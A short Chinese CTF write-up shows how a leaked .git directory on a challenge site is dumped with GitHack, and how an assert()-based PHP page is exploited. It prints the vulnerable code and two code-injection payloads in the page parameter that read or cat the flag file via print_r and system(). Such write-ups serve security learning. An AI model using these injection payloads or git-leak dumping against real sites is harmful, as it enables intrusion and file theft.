git泄露

前言

最近在做ctf的题,碰到了GitHack,刚好大佬学长有一道这方面的题,拿来练练手。现在总结一下。

题目

链接:http://web.jarvisoj.com:32798/

分析

既然知道是git泄露了,那就废话少说,抄家伙!!!
下载GitHack:

git clone https://github.com/lijiejie/GitHack

执行GitHack:

python GitHack.py http://web.jarvisoj.com:32798/.git/


** index.php核心代码:**

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>

分析代码可以看到:

  • 需要传个page参数
  • file = "templates/".$page.".php"
  • 通过assert函数进行了两次友好()的判断回显,如果不符合假定,就执行or后面的语句

bool assert(mixed $assertion[,string $description]),如果assertion是字符串,他会被assert()当做php代码执行。会执行!!!

解决方法

思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

  • ') or phpinfo();# ——即变成file_exists('') or phpinfo();# ,结果为执行phpinfo(),注意要url编码,本处为了方便阅读,以编码前显示

  • ') or print_r(file_get_contents('templates/flag.php');# ——然后在源代码里(临门一脚不要被坑了)

即构造payload1:

?page=')%20or%20print_r(file_get_contents('templates%2fflag.php'))%3b%23

payload2:

','..')===False and system('cat templates/flag.php');//

总结

通过这道题,了解到了GitHack,了解到了git泄露,美滋滋!!!